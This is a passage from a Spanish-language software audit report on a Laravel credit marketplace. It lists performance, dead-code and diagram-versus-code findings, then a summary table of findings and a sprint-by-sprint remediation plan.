Cache::remember(..., 3600, ...) sin Cache::lock ni stale-while-revalidate. 1.000 requests concurrentes al hour boundary → todos hit miss → 1.000 ejecuciones simultáneas de queries pesadas + 1.000 escrituras en mismo row del cache table. CERO invalidación cuando aliado sube producto / aprueba marca / etc → datos stale hasta 1h.

F-PERF-4 [CRITICAL] Home page (/) hace llamada SOAP sincrónica a Core Crédito (60s timeout) vía middleware

ConsultarCupoDelCliente en cada request a /. Bajo una caída de SHIVAM, cada PHP worker bloquea hasta 60s → workers se agotan → marketplace muere. Incluso día sano: home page es la más lenta (200-2000ms típico).

F-PERF-5 [CRITICAL] /checkout middleware hace 2 llamadas externas SECUENCIALES (Emcali 30s + CoreCredito 60s)

Total potencial: 90s antes de renderizar checkout. VerificarClientePresentaMoraCreditoService::clientePresentaMora() → Emcali Y luego CoreCredito.

F-PERF-6 [HIGH] ventas table sin índices críticos

Faltan: (sucursal_id, estado, creado_en) y (creado_en). Queries de dashboard y reporte comercial fuerzan full table scan + filesort. 100k ventas → 10s+ query times.

F-PERF-7 [HIGH] aprobar_cupo_eventos index es inutilizable

Index (id, cliente_id, creado_en) empezando con UUID PK → no usable para WHERE cliente_id = ? AND tipo_proceso IN (...). La query con HAVING en validarSiElClienteTieneSuCupoAprobado hace full scan. Con 1M events: 500ms-2s.

F-PERF-8 [HIGH] backend_request_logs y frontend_error_logs ZERO índices y SIN retención

Tablas crecen indefinidamente. Within 1 mes a tráfico moderado: 10M+ rows. Filtrar level='error' toma 30s+. Eventualmente fillea el disco sin avisar.

F-PERF-9 [HIGH] VentaReporteComercialController carga TODAS las ventas en memoria

12 meses × 50k ventas × deep eager load × PhpSpreadsheet writer = 300-500MB heap. Sin set_time_limit, sin chunking, sin queue dispatch. Bloquea PHP worker indefinidamente.

F-PERF-10 [HIGH] Bulk product upload carga XLSX completo en memoria

IOFactory::load($filePath) + $sheet->toArray() = doble copia en RAM. Para 50k rows: 1-2 GB heap. PHP default memory_limit=128M → OOM crash. Luego 50k jobs en jobs table.

F-PERF-11 [HIGH] Dashboard Aliado: 8-10 queries duplicadas para “encontrar sucursal”

$user->sucursales()->first(), $user->empresas()->first(), $empresa->sucursales()->first(), etc. repetidos en 4 métodos. Más HandleInertiaRequests repite todo otra vez.

F-PERF-12 [HIGH] OrdenCompraController::index eager-loads 5 niveles + LIKE en 6 columnas sin FULLTEXT

Búsqueda en observaciones, ventas.causal, venta_detalles.descriptor, precios.nombre, productos.nombre, productos.descripcion. Sin índices FULLTEXT. 50k orders + 100k ventas + 300k detalles + 100k productos → 5-15s por búsqueda.

F-PERF-13 [MEDIUM] DB session + DB cache + DB queue + DB logs = 4-way contention

.env.example defaults TODO en database. Redis configurado pero no usado. Cada request HTTP: UPDATE sessions + cache touch + posibles log writes + queue worker polling. Lock contention masivo a escala.

F-PERF-14 [MEDIUM] VentaService::generarCuotasPorOrden ejecuta 144 INSERTs en una transacción

Multi-empresa 36-meses: 36 master + 36×3 = 144 INSERTs individuales (Cuota::create) en una DB::transaction. Cliente espera 5-10s mientras locks están abiertos.

F-PERF-15 [MEDIUM] Frontend sin code-splitting — bundle inicial >1.5MB

vite.config.ts sin manualChunks. 58 páginas Vue + 136 componentes + 720KB shadcn-vue + Vue runtime + Inertia + Ziggy + lucide-vue-next icons → ~1.5MB JS first paint. SSR configurado pero no desplegado.


PARTE 10 — DEAD CODE & CÓDIGO ROTO ADICIONAL (20 hallazgos)

F-DEAD-1 [CRITICAL] UserService importa Dotenv\Exception\ValidationException (¡errado!)

Archivo: app/Services/UserService.php:9

use Dotenv\Exception\ValidationException; // ¡debería ser Illuminate\Validation\ValidationException!

Cuando UserService::obtener() filtra por aliado sin empresa, llama ValidationException::withMessages([...]) — método que NO existe en la clase importada. Crashea con fatal error en runtime.

F-DEAD-2 [CRITICAL] MarcarCuotasVencidas artisan command depende de modelo/tabla inexistente

Archivo: app/Console/Commands/MarcarCuotasVencidas.php:32

$cuotasActualizadas = $planCreditoService->marcarCuotasVencidas();

La tabla plan_credito no existe. Comando lanza SQL error. Además no está scheduleado → cuotas vencidas nunca se marcan automáticamente. Mora silenciosa.

F-DEAD-3 [CRITICAL] ProcesarOrdenesAbandonadas NO implementa ShouldQueue — corre sincrónicamente dentro del scheduler

Archivo: app/Jobs/ProcesarOrdenesAbandonadas.php:17

class ProcesarOrdenesAbandonadas // ¡falta implements ShouldQueue!

Importa ShouldQueue y Queueable pero no usa ninguno. Corre INLINE en php artisan schedule:run. Si hay muchas órdenes → scheduler tick bloquea → otros jobs scheduled no corren a tiempo.

F-DEAD-4 [CRITICAL] Migración añade clientes.id_externo pero modelo NO lo tiene en $fillable

Archivos: Models/Cliente.php:55-78, database/migrations/2025_12_29_015523_alter_clientes_table.php La columna id_externo existe en BD pero el modelo no la lista en $fillable. CSV importer referencia $dataEmpresa['id_externo'] con key incorrecta. Cualquier Cliente::create([..., 'id_externo' => 'X']) silently drops el valor. Columna huérfana.

F-DEAD-5 [CRITICAL] Caches globales NUNCA se invalidan

Archivo: app/Http/Middleware/HandleInertiaRequests.php:119, 126, 150, 158

Cache::remember('lineas', 3600, ...);
Cache::remember('brands_allied', 3600, ...);
Cache::remember('popular_categories', 3600, ...);
Cache::remember('user_stats_*', 3600, ...);

Cuando admin/aliado crea/actualiza/borra marca, línea, producto, empresa → datos cacheados quedan stale hasta 1 hora. No hay un solo Cache::forget() en MarcaController, LineaController, ProductoController, EmpresaController.

F-DEAD-6 [CRITICAL] verificar_cliente_presenta_mora falla SILENCIOSAMENTE abierto

Archivo: app/Http/Middleware/VerificarClientePresentaMora.php:33-36

} catch (Throwable $e) {
return $next($request); // ¡silently passes!
}

Si Core Crédito 500ea, timea out, o cualquier error → middleware deja pasar. Cliente en mora puede comprar durante caída del servicio externo. Sin log, sin notificación, sin alerta.

F-DEAD-7 [CRITICAL] VentaCompletadaListener con sintaxis de relación incorrecta (otro bug)

Archivo: app/Listeners/Facturacion/VentaCompletadaListener.php:29

$cliente = $venta->user()->cliente()->first(); // ¡incorrecto!
// Correcto: $venta->user->cliente

user() retorna BelongsTo no User → chain cliente() falla. Combinado con el event nunca despachado (audit previo) → si alguna vez se conecta, crashea.

F-DEAD-8 [CRITICAL] Flujo de registro de aliado aprobado está ROTO

Archivos: routes/ally/auth.php:14, notifications

  • Ruta aliado-postulacion.register espera signed URL desde InformarDePostulacionAprobada
  • Pero InformarDePostulacionAprobada nunca se despacha
  • Lo que se despacha es PostulacionAprobadaAlSolicitante que NO contiene signed URL — solo texto “pronto te decimos cómo acceder”
  • Aliados aprobados no pueden completar registro vía email

F-DEAD-9 [CRITICAL] DescontableDescuento modelo VACÍO

Archivo: app/Models/DescontableDescuento.php

class DescontableDescuento extends Model {
//
}

Migración crea tabla con tipo_descontable, descontable_id, expira_en (esquema polymorphic). Modelo sin $fillable, sin relaciones, sin métodos. Nunca instanciado en ningún lado. Feature de cupones abandonada con artifact dejado.

F-DEAD-10 [HIGH] Múltiples métodos de VentaService y OrdenCompraService huérfanos

Métodos públicos definidos pero NUNCA llamados:

  • VentaService::calcularTotalVenta() línea 535
  • VentaService::obtenerNumeroCuotasPorLineas() línea 754
  • OrdenCompraService::obtenerOrdenesCompra() línea 20
  • MarcaService::obtenerUnaPorSlug(), ProductoService::existeProductoPorSlug(), LineaService::obtenerUnaPorSlug(), ListaDeseoService::obtenerDeseo()

Code rot en service layer.

F-DEAD-11 [HIGH] registrarEnCerticamara() retornando false anula la rama de despacho de crédito en DOS lugares

Archivos: app/Services/VentaService.php:245, 402 Ya documentado que el método retorna false. Compounded: en crearVentaUnica Y crearVentasPorEmpresa, la condición if ($tienePagare && !is_null($cliente->pagare_firmado_en)) siempre evalúa false → GenerarCreditoDeVenta job NUNCA se despacha desde la creación de venta. La única ruta que lo dispara es el webhook de Certicámara después. Sistema dependa 100% del webhook.

F-DEAD-12 [HIGH] Producto scopes para home OfertasDelDia, Encantado, MasVendidos, Intereses son TODOS la misma query

Archivo: app/Models/Producto.php:144-162

public function scopeOfertasDelDia($query) { return $query->aprobado(); }
public function scopeEncantado($query) { return $query->aprobado(); }
public function scopeMasVendidos($query) { return $query->aprobado(); }
public function scopeIntereses($query) { return $query->aprobado(); }

Home page muestra 4 secciones supuestamente diferentes (Encantar, Más Vendidos, Ofertas, Intereses), pero los 4 scopes retornan idéntica query. Cliente ve los mismos productos en las 4 secciones. Feature half-built.

F-DEAD-13 [HIGH] Templates Excel de mocks generan output transpuesto/inservible

Archivos: ProductoService.php:142-149, MarcaService.php:41-48, LineaService.php:40-46

$data[] = ['linea']; // ← cada header en su propia row
$data[] = ['nombre'];
$data[] = ['descripcion'];

Genera Excel con UNA columna y 8 rows (cada row = un header name) en vez de un row con 8 columns. Template descargado es inutilizable. Para Marca/Linea, $data[0][] = $marca->nombre produce tabla transpuesta. Re-import imposible.

F-DEAD-14 [HIGH] Vue layouts muertos: AppHeaderLayout, AuthCardLayout, AuthSplitLayout

Archivos: layouts/app/AppHeaderLayout.vue, layouts/auth/AuthCardLayout.vue, layouts/auth/AuthSplitLayout.vue Ningún page los importa. AppHeader.vue solo referenciado por el dead AppHeaderLayout.vue → toda esa subárbol es código muerto.

F-DEAD-15 [HIGH] PrecioController existe pero NO está registrado en ninguna ruta

Archivo: app/Http/Controllers/Market/PrecioController.php Define store() y destroy() pero ningún routes/*.php lo referencia. Métodos completamente inalcanzables. Feature abandonado.

F-DEAD-16 [HIGH] Texto en INGLÉS en UI de settings (proyecto es Spanish-only por CLAUDE.md)

Archivos: settings/Layout.vue:30, settings/Profile.vue:49, settings/Password.vue:59, settings/Appearance.vue:25

<Heading title="Settings" description="Manage your profile and account settings" />
<HeadingSmall title="Profile information" ... />
<HeadingSmall title="Update password" ... />

Leftover del Laravel Vue starter kit. CLAUDE.md exige Spanish; settings rompen la convención.

F-DEAD-17 [HIGH] CarritoService::obtenerElementoCarrito no protege contra Auth::user() null

Asume usuario autenticado pero no guard. Sobre un guest cart (que las routes permiten — F-007 audit previo), throws null pointer.

F-DEAD-18 [MEDIUM] Operator precedence bug en Aliado/ClienteController:58

(float) $c->valor_promedio ?? 0
// Equivale a ((float) $c->valor_promedio) ?? 0
// float cast NUNCA retorna null → `?? 0` es dead code

Lo correcto sería (float) ($c->valor_promedio ?? 0) para manejar null.

F-DEAD-19 [MEDIUM] config('pagare.retry_minutes', 1440) fallback 72× más grande que valor real

El fallback es 1440 (24h). El valor real configurado es 20 minutos. Si la variable de env o el config file se pierde, retry timing cambia drásticamente sin error.

F-DEAD-20 [MEDIUM] HandleAppearance middleware comparte appearance a vista pero app.blade.php nunca lo usa

El theme se setea en JS via cookie. La View::share del middleware es dead code.


PARTE 11 — INTENT vs IMPLEMENTATION: GAPS EN LOS DIAGRAMAS UML COMPARTIDOS POR EL CLIENTE

Hallazgo meta: El cliente compartió dos diagramas UML en docs/ (DIAGRAMA_VENTA_UML.md, DIAGRAMA_APROBAR_CUPO_UML.md). Estos diagramas representan la intención documentada de Juan sobre el sistema. Al comparar línea por línea con el código real, encontramos 13 desalineaciones críticas entre intent y realidad.

Por qué importa para el cliente: Si Juan tiene un mental model del sistema, y el código se desvía de ese mental model, entonces:

  1. Cualquier nuevo desarrollador onboarding usando esos diagramas va a programar contra un sistema que no existe
  2. Decisiones de producto basadas en el mental model van a fallar en producción
  3. La validación de QA contra los diagramas pasa pero el código sigue roto

F-UML-1 [CRITICAL] AprobarCupo diagram dice “3+ procesos exitosos”, pero código exige 5+

Archivo del cliente: docs/DIAGRAMA_APROBAR_CUPO_UML.md:264

“AprobarCupoService - Valida si el cliente tiene su cupo aprobado (requiere 3+ procesos exitosos en el mes)”

Realidad en código: AprobarCupoService::validarSiElClienteTieneSuCupoAprobado() — query con GROUP BY tipo_proceso + HAVING que evalúa los 7 ProcessType definidos. Requiere >= 5 process types con último evento FINISH_SUCCESS del mes.

Implicación: Juan documentó el flujo creyendo que con 3 fases exitosas basta. El código realmente exige 5. Si Mi Plante hace cambios al ProcessType enum esperando que con > 3 sigue funcionando, va a romper la aprobación de cupo silenciosamente.


F-UML-2 [CRITICAL] AprobarCupo diagram dice “HDC actualmente devuelve true (placeholder)”, pero código sí integra DataCrédito

Archivo del cliente: docs/DIAGRAMA_APROBAR_CUPO_UML.md:280-282

HDCValidationService - Validación de historial de crédito - Actualmente devuelve true (placeholder para implementación futura)

Realidad en código: HDCValidationService.php SÍ llama a DataCrédito vía DataCreditoService::consultarHistorialPorTipoDocumento() y valida responseCode == 13. Está implementado (con bugs de logging F-PII-1, pero implementado).

Implicación grave: El diagrama puede:

  • Estar desactualizado → quien lee va a pensar que HDC es un stub y va a confiar en validaciones que sí son reales (peligroso)
  • Estar correcto y el código fue agregado sin revisar el cumplimiento real (peligroso de la otra dirección)

De cualquier forma: documentación vs realidad divergen en un servicio que decide la aprobación crediticia. Auditoría regulatoria SFC va a tener problemas con esto.


F-UML-3 [HIGH] Venta diagram declara subtotal/descuento_aplicado/total: float, pero migración usa bigInteger (silent truncation)

Archivo del cliente: DIAGRAMA_VENTA_UML.md:12-15

-float subtotal
-float descuento_aplicado
-float total

Realidad: 2025_10_30_015736_create_ventas_table.php:18,20$table->bigInteger('subtotal'), $table->bigInteger('total'). descuento_aplicado sí es float pero subtotal/total son enteros.

Implicación: Centavos perdidos en cada transacción (truncación bigInt). Documentación promete decimal arithmetic; BD entrega integer arithmetic. Esto explica por qué los desarrolladores escriben código que pasa floats a campos bigInteger (F-FIN-12).


F-UML-4 [HIGH] Venta diagram lista VentaService::registrarEnCerticamara() bool como método operativo

Archivo del cliente: DIAGRAMA_VENTA_UML.md:79

-registrarEnCerticamara(cliente, dto) bool

Realidad: Método existe pero SIEMPRE retorna false (documentado en audit 16 F-007). Toda la rama de despacho inmediato de GenerarCreditoDeVenta es código muerto.

Implicación: Juan documentó la API del servicio creyendo que el método funciona. Cualquier nuevo dev que confíe en el diagrama va a programar features asumiendo que el método retorna true/false según la operación real, no constante false.


F-UML-5 [HIGH] Cuota diagram declara fecha_vencimiento: date, fecha_pago: date, pero migración usa timestamp

Archivo del cliente: DIAGRAMA_VENTA_UML.md:123-124

-date fecha_vencimiento
-date fecha_pago

Realidad: 2025_11_06_140606_create_cuotas_table.php define ambos como timestamp. Con timezone UTC en config, esto compounded con F-FIN-15 produce el bug de “cuota vencida temprano por UTC vs Bogotá”.

Implicación: El diagrama sugiere granularidad de “día calendario” (date). El código usa granularidad de instante UTC. Reportería que muestra “vence el 5 de junio” no coincide con cuándo el sistema marca vencida.


F-UML-6 [HIGH] Cliente diagram dice estado_cuenta: string, pero columna real es jsonb

Archivo del cliente: DIAGRAMA_APROBAR_CUPO_UML.md:150, DIAGRAMA_VENTA_UML.md:240

-string estado_cuenta

Realidad: Per 01-er-diagram.md y migraciones, es jsonb estado_cuenta. No es string, es objeto JSON.

Implicación: Cualquier código que asuma $cliente->estado_cuenta es string va a fallar (TypeError) o serializar incorrectamente. Lugar a bug en la integración con SHIVAM si algún empleado/aliado intenta procesar estado_cuenta.


F-UML-7 [HIGH] Cliente diagram dice valor_promedio: float, pero columna real es string

Archivo del cliente: DIAGRAMA_VENTA_UML.md:236

-float valor_promedio

Realidad: Per migraciones y modelo, columna es string. Cuando CreditoService envía esto a SHIVAM espera un número pero el código lo trata como string. Cualquier validación numérica falla.


F-UML-8 [HIGH] AprobarCupo diagram OMITE Phase 0 (Completar Registro) completamente

Archivo del cliente: DIAGRAMA_APROBAR_CUPO_UML.md:347-368 muestra solo 4 fases:

1. Legal Check → 2. Identity Validation → 3. HDC Validation → 4. Aprobar Cupo

Realidad: El flujo completo (per audit doc 12) tiene 8 fases:

  • Phase 0: Completar Registro (CompletarRegistroController + ClienteService::validarFacturas + EMCALI)
  • Phases 1-6: Legal, Identity, OTP, Questionnaire, HDC (como documentado)
  • Phase 7: Extender Cupo (ExtenderCupoService usando EMCALI + DataCrédito score)

Implicación: Dos servicios críticos (EMCALI integration al registro + ExtenderCupo) son invisibles para quien lee el diagrama. Phase 0 incluye 4 puntos críticos de Habeas Data (numero_contrato, facturas, dirección) que el diagrama no audita. Phase 7 hace el cálculo final de cupo asignado — invisible para Juan en el diagrama.


F-UML-9 [HIGH] Venta diagram OMITE toda la cadena de jobs (queue chain)

Archivo del cliente: DIAGRAMA_VENTA_UML.md:317-322 solo muestra:

VentaService --> Venta : manipula
VentaService --> VentaDetalle : manipula
VentaService --> OrdenCompra : manipula
VentaService --> Cuota : manipula
VentaService "1" --> "1" CerticamaraService : utiliza

Realidad: El flujo de venta REAL depende de 3 jobs encadenados:

CerticamaraController (webhook) →
ValidarPagareDigital (queue: creditos) →
ProcesarPagareDigital (queue: creditos) →
GenerarCreditoDeVenta (queue: creditos)

Sin estos jobs, las ventas quedan en PENDIENTE para siempre. El diagrama no representa el camino crítico real del sistema.

Implicación: Nuevo dev pensaría que las ventas se crean síncronamente al instante. Realidad: dependen de webhook + 3 jobs que pueden fallar (F-FIN-9 race, F-CONC-4 doble cobro, etc.). El diagrama da una imagen falsamente simple.


F-UML-10 [HIGH] Venta diagram OMITE el flujo de OrdenesAbandonadas (60-min timeout)

ProcesarOrdenesAbandonadas corre cada 15 minutos y marca como ABANDONADA cualquier orden PENDIENTE > 60 min. Restaura inventario. Es un actor importante del lifecycle de ventas.

Diagrama del cliente: completamente ausente.


F-UML-11 [MEDIUM] Cliente diagram OMITE campos críticos: vcard, id_externo, registro_completado_en

Archivo del cliente: DIAGRAMA_APROBAR_CUPO_UML.md:144-152 y DIAGRAMA_VENTA_UML.md:226-249

Campos en BD pero NO en diagramas:

  • vcard — el identificador SHIVAM del cliente en banking core (crítico)
  • id_externo — link a sistema externo (CSV importer lo usa, diagrama no lo menciona)
  • registro_completado_en — gate para checkout, definitorio del flujo de cupo

Implicación: Diagramas describen un Cliente más simple del que existe. Onboarding por documentación → código vital invisible.


F-UML-12 [MEDIUM] Venta diagram declara relación Venta::ventasRelacionadas() HasMany — ¿implementada?

Diagrama: Lista +ventasRelacionadas() HasMany (línea 28) y en relaciones (línea 280) muestra Venta "1" --> "*" Venta : ventasRelacionadas.

Realidad: No vimos esta relación en el modelo Venta.php. Auto-relación de Venta consigo misma por mismo orden_compra. Si está, no es central. Si no está, es promesa rota.


F-UML-13 [HIGH] AprobarCupo diagram describe IdentityValidationService::generateToken() string como público pero OMITE las dependencias de cache

El diagrama no muestra que cada fase depende de Cache::get/put con keys {userId}.validacion, {userId}.transaccion_otp_id, {userId}.requiere_cuestionario, {userId}.cuestionario_id, {userId}.registro_cuestionario. Sin entender esa dependencia de cache:

  • Imposible debuggear “el cuestionario no aparece”
  • Imposible explicar race conditions entre pestañas
  • Imposible auditar la replay window de OTP (30 min)

Es invisibilizar el verdadero state machine del flujo de aprobación de cupo.


RESUMEN FINAL DE LA AUDITORÍA EXTENDIDA

Conteo final (todos los agentes completados)

CategoríaFindingsCríticosAltosMedios
Multi-tenancy / Aislamiento de aliados15951
Mass Assignment / Escalación de privilegios5410
Race conditions & concurrencia15573
Cálculos financieros y de cuotas15483
Seguridad profunda (XSS, XXE, MITM, OTP)185103
Logging de PII y tokens (Habeas Data)15672
Integridad de datos / state machines15258
Performance / N+1 / índices15573
Dead code & código roto adicional20983
Seeders con credenciales débiles2200
Configuración / despliegue / CI-CD6132
Intent vs Implementation (UML del cliente)13283
TOTAL FINAL154546931

Algunos findings tienen overlap entre categorías (un mismo bug puede aparecer en 2 categorías). El conteo de bugs únicos es ~135.


PARTE 12 — REMEDIACIÓN PRIORIZADA

Sprint 0 (HOY antes de release)

  1. Auditoría de credenciales administrativas — resetear passwords de testadmin@*, testadmincomercial@*, testfinanciero@*, todas las cuentas creadas via ClienteAdministradorSeeder (F-011)
  2. Bloquear POST /aliados/usuarios/admin/crear detrás de role middleware (F-003)
  3. Mover de Cliente::$fillable los campos: cupo_asignado, cupo_disponible, cupo_vence_en, pagare_firmado_en, certicamara_uuid, registro_completado_en, vcard$guarded (F-002)
  4. Eliminar de User::$fillable los campos guard, rol, activo → solo via servicios (F-SEC-2)
  5. Validar Aliado/UserController::update payload — rechazar clave cliente o filtrar campos sensibles (F-002)
  6. Fix sobrecobro procesarCarrito — eliminar doble multiplicación (F-001)
  7. Fix fianza — dividir $fianzaPorCuotas entre $cuartoDeCuotas (F-004)
  8. HMAC verification en webhook Certicámara — contactar Certicámara HOY (F-005)
  9. Sanitizar Producto.descripcion — DOMPurify en frontend, HTML purifier en backend (F-012)
  10. Eliminar verify => false en CoreCredito → certificado privado pinneado (F-010)

Sprint 1 (esta semana)

  • Implementar Policies + Gates en todos los controllers Aliado
  • HMAC verification + IP allowlist en webhook
  • Encryption at rest para personas.dni, expedido_en, lugar_expedicion
  • Eliminar logging de bodies + headers sensibles (PII filter en ApiExceptionHandler + BackendRequestLogger)
  • Eliminar errorInterceptor.ts logSuccess (no loguear response body en éxitos)
  • Auth + rate limit + max:5120 en /api/error-logs
  • Fix XML injection en CoreCredito SOAP construction (escape via DOMDocument)
  • Resetar transaccion_otp_id, regValidacion, cuestionario_id en logout y FINISH_UNSUCCESS
  • Reducir signed URL TTL postulación a 7 días + one-time token
  • Restaurar requestUUID aleatorio en DataCredito
  • Quitar rand() del /consultar-cupo
  • lockForUpdate() en Precio.inventario decrement + atomic decrement de cupo_disponible
  • queue.after_commit: true global
  • Unique constraint (venta_id, numero_cuota) en cuotas
  • Unique constraint (tipo_dni, dni) en personas

Sprint 2 (2 semanas)

  • Setup Docker + CI/CD con MySQL service
  • Sentry/Bugsnag integration + Slack alerting (config ya existe)
  • Log retention schedule
  • Auditoría completa de seeders + migrate:fresh script seguro
  • Implementar correlation ID / X-Request-ID
  • Implementar Spatie Permissions correctamente o eliminar paquete

Sprint 3 (4 semanas)

  • Refactor de cálculos financieros (unificar formula PMT entre front/back)
  • Completar PlanCredito o removerlo definitivamente
  • Eliminar dead code: VentaCompletada/Cancelada events, InformarDePostulacionAprobada, listener Facturacion broken
  • Auditoría regulatoria Habeas Data + acreditación SFC

Conclusión

Esta segunda pasada confirma que el sistema Mi Plante tiene una superficie de vulnerabilidad mucho mayor de lo que la primera auditoría reveló. Los hallazgos no son “imperfecciones de un sistema nuevo” — son vulnerabilidades catastróficas activas que permiten:

  1. Fraude financiero contra clientes (overcharge automático)
  2. Toma de control completa por aliados maliciosos
  3. Exposición sistemática de PII regulada por Habeas Data
  4. Manipulación de cupo bancario via XML injection
  5. Falsificación de pagarés via webhook spoofing

Recomendación final: Mi Plante debe parar nuevas ventas hasta resolver los 12 hallazgos críticos de la PARTE 1. El roadmap de los Sprints 0-3 toma 6-8 semanas y permite reanudar operaciones con la integridad financiera y regulatoria del sistema garantizadas.